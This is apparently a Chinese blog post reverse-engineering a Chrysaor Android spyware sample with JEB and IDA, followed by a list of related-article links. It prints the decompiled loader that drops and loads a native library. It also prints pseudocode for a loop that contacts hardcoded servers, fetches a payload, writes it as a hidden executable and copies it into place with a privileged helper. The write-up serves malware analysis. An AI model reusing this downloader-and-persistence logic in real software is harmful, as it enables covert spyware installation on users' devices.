来源:
https://github.com/fs0c131y/Android-Malwares/tree/c897dff1796c9cb7f19104e9ce3546d54cd55a45/Chrysaor/

3474625e63d0893fc8f83034e835472d95195254e1e4bdf99153b7c74eb44d86

用JEB看是这样一个结构
先看manifest发现用到了超多权限,然后入口是这里


反编译得到其Java代码

package com.network.android;import android.app.Activity;
import android.os.Bundle;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;public class NetworkMain extends Activity {public NetworkMain() {super();}protected void onCreate(Bundle arg8) {super.onCreate(arg8);String v2 = "/data/data/com.network.android/libsgn.so";try {InputStream v1 = this.getResources().getAssets().open("libsgn.so");byte[] v0 = new byte[v1.available()];v1.read(v0);ByteArrayOutputStream v3 = new ByteArrayOutputStream();v3.write(v0);v3.close();v1.close();FileOutputStream v4 = new FileOutputStream(v2);v3.writeTo(((OutputStream)v4));((OutputStream)v4).close();System.load(v2);}catch(Throwable v5) {}catch(Exception v5_1) {}catch(IOException v5_2) {}this.finish();}
}

发现并没有界面,直接将assets目录下的.so写入android的这个路径
/data/data/com.network.android/libsgn.so,然后用

Syste.load()

加载.so,然后就得转战IDA了。
然而并不会分析,只能看一堆strings

哦对了可以看一下JNI_onLoad()

发现它调用了fork()然后main()!
看到main的代码很牛啊,然而很多不懂的函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{void *v3; // r0@1int v4; // r5@2int v5; // r7@6void *v6; // r5@7char *v7; // r0@12const char *v8; // r2@12const char *v9; // r3@12char *v10; // [sp+0h] [bp-4A0h]@0char *v11; // [sp+4h] [bp-49Ch]@0int v12; // [sp+Ch] [bp-494h]@7char *v13; // [sp+10h] [bp-490h]@7int v14; // [sp+1Ch] [bp-484h]@1int v15; // [sp+20h] [bp-480h]@1void *ptr; // [sp+24h] [bp-47Ch]@1int v17; // [sp+28h] [bp-478h]@7char v18; // [sp+2Ch] [bp-474h]@1char v19; // [sp+3Ch] [bp-464h]@1char v20; // [sp+60h] [bp-440h]@1char s; // [sp+84h] [bp-41Ch]@1int v22; // [sp+484h] [bp-1Ch]@1v14 = 0;v15 = 0;v22 = _stack_chk_guard;ptr = 0;memset(&s, 0, 0x400u);memset(&v19, 0, 0x21u);memset(&v18, 0, 0xDu);v3 = memset(&v20, 0, 0x21u);handle_signals(v3);g_sleep_time_in_seconds = 30;sleep(0x1Eu);geteuid();while ( 1 ){v4 = 0;if ( socket_connect(&v14, SERVERS, unk_600C) == 1 ){get_random_hexlified_md5(&v19);get_mac_address(&v18);get_hexlified_md5(&v18, &v20, 12);if ( http_send_request_with_get(&v20, &v19, SERVERS, v14) == 1 && http_receive_payload(v14, &ptr, &v15) == 1 ){socket_disconnect(&v14);if ( socket_connect(&v14, SERVERS, unk_600C) == 1 ){v5 = v15;v4 = 1;if ( v15 > 0 ){v12 = v14;v6 = ptr;v13 = SERVERS;v17 = 0;if ( file_exists("/system/csk", &v17) != 1 )goto LABEL_17;if ( v17 ){if ( write_buffer_as_executable(v6, v5, "/data/data/com.network.android/.coldboot_init") != 1|| system("/system/csk \"cat /data/data/com.network.android/.coldboot_init > /mnt/obb/.coldboot_init\"") == -1|| system("/system/csk \"chmod 711 /mnt/obb/.coldboot_init\"") == -1 ){
LABEL_17:v4 = 0;goto LABEL_18;}unlink("/data/data/com.network.android/.coldboot_init");v7 = &s;v8 = "%s";v9 = "/mnt/obb/.coldboot_init";}else{if ( write_buffer_as_executable(v6, v5, "/data/data/com.network.android/.coldboot_init") != 1 )goto LABEL_17;v7 = &s;v8 = "%s";v9 = "/data/data/com.network.android/.coldboot_init";}if ( snprintf(v7, 0x3FFu, v8, v9, v10, v11) <= 0 )goto LABEL_17;v10 = &v19;v11 = v13;v4 = sub_1CF4(v12, &s, v17, &v20);if ( v4 != 1 )goto LABEL_17;}}}}
LABEL_18:if ( ptr ){free(ptr);ptr = 0;}socket_disconnect(&v14);if ( v4 == 1 )pthread_exit(0);sleep(g_sleep_time_in_seconds);}
}

android malware相关推荐

  1. Using Markov Chains for Android Malware Detection

    If you're chatting with someone, and they tell you "aslkjeklvm,e,zk3l1" then they're speak ...

  2. 安卓恶意代码数据集(Android Malware and Benign apps)整理

    因为最近想做一些简单的实验,而自己之前收集的数据找不着了,所以又看了看别人的推荐,发现ResearchGate上这个讨论里有些回答还是总结得很好的: https://www.researchgate. ...

  3. android 外文期刊_AndroSimilar: Robust signature for detecting variants of Android malware

    [摘要]Android Smartphone popularity has increased malware threats forcing security researchers and Ant ...

  4. Android malware样本SLocker Mobile Ransomware

    样本下载: http://appscan.io/app-report.html?id=d72ca5ca1e7dc6431c041bfc6d7e3f9bfa39959c 分析: http://blog. ...

  5. 【恶意软件检测】【防】DeepRefiner: Multi-layer Android Malware Detection

    文中部分内容来自:复旦白泽战队 微信公众号文章 论文链接:点击查看 本文发表在2018 IEEE European Symposium on Security and Privacy (EuroS&a ...

  6. paper—HAWK: Rapid Android Malware Detection Through Heterogeneous Graph Attention Networks

    通过异构图形注意网络快速检测Android恶意软件 目录 摘要 一.引言 二.背景和概述 A.动机和问题范围 B.我们的HAWK方法 三.基于HIN的数据建模 A.特征工程 B.构建HIN C.从HI ...

  7. 目前的Android恶意软件分类

    本文总共列出了119类恶意软件家族 列表列出了截止日期是2013年2月28日的Android平台上的木马以及在mobile-sandbox-system上的检测结果.这个表会一直更新,每个家族选取一列 ...

  8. 基于深度学习的安卓恶意应用检测----------android manfest.xml + run time opcode, use 深度置信网络(DBN)...

    基于深度学习的安卓恶意应用检测 from:http://www.xml-data.org/JSJYY/2017-6-1650.htm 苏志达, 祝跃飞, 刘龙     摘要: 针对传统安卓恶意程序检测 ...

  9. 【Android 插件化】恶意软件判定规则 | 恶意软件的范围定义

    文章目录 一.恶意软件判定规则 二.恶意软件的范围定义 一.恶意软件判定规则 在 [Android 插件化]基于插件化的恶意软件的加载策略分析 ( 自定义路径加载插件 | 系统路径加载插件 | 用户同 ...

最新文章

  1. jenkins ssl证书报错问题解决
  2. tcp 接收端优雅的写法_如何更优雅地接收设计反馈
  3. leetcode242. 有效的字母异位词(两种方法map或数组)
  4. 结构体变量和结构体指针变量作为函数参数传递问题
  5. [NOIP2013]华容道 题解(搜索)
  6. c语言中的memset函数与bzero函数
  7. 字符串循环移位 编程之美3.1
  8. webpack 图像压缩_基于 TinyPNG 封装的一个支持nodejs、命令行和 webpack 的图片压缩工具...
  9. mysql中用来取余数的函数是_mysql数学函数有哪些?
  10. 无源贴片晶振四角引脚_有源晶振四引脚详细用法
  11. Python3入门机器学习之2.8scikit-learn中的Scaler
  12. (社会舆情) 小世界网络,规则网络,随机网络
  13. 【数据结构与算法】之深入解析“铺瓷砖”的求解思路与算法示例
  14. 前端复习之DOM、BOM
  15. J2EE体系架构设计
  16. Linux命令之tail命令
  17. 酒吧常放经典乐曲90首 CLUB MIX
  18. Python常用基础语法知识点大全
  19. golang: make 与 new 的区别
  20. 电商平台大数据分析指标

热门文章

  1. 百度站长平台上线落地页视频转存功能,对于站长有何用处?
  2. AAAI 2022高分被拒?别难过!试试这个模板给Chair发个邮件捞一下吧!
  3. 西游记女儿国国王朱琳为唐僧徐少华独身二十年
  4. 前端学习笔记-html-列表标签
  5. PHPYun XML 注入漏洞
  6. ImageJ图片显示的颜色和实际像素值相反
  7. 微信支付与登录之项目开发阶段1
  8. zabbix动作执行失败 No media defined for user.
  9. 安安猜价格聪明机器人_APPInventor:零基础Android移动应用开发
  10. video-editing